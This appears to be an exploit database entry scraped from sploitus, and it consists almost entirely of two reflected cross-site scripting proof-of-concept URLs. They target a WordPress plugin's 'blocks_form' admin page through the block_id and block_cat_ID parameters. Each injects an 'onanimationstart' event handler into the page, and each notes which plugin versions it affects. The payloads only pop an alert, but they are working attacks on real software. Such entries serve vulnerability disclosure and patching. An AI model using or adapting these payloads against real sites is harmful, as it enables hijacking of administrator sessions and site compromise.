Share
## https://sploitus.com/exploit?id=WPEX-ID:AB68381F-C4B8-4945-A6A5-1D4D6473B73A
v < 3.0.13 (the block_id needs to start with an existing block ID
https://example.com/wp-admin/admin.php?page=blocks_form&block_id=567"+style=animation-name:rotation+onanimationstart=alert(/XSS/)//

v < 2.662
https://example.com/wp-admin/admin.php?page=blocks_form&block_cat_ID=1"+style=animation-name:rotation+onanimationstart=alert(/XSS/)//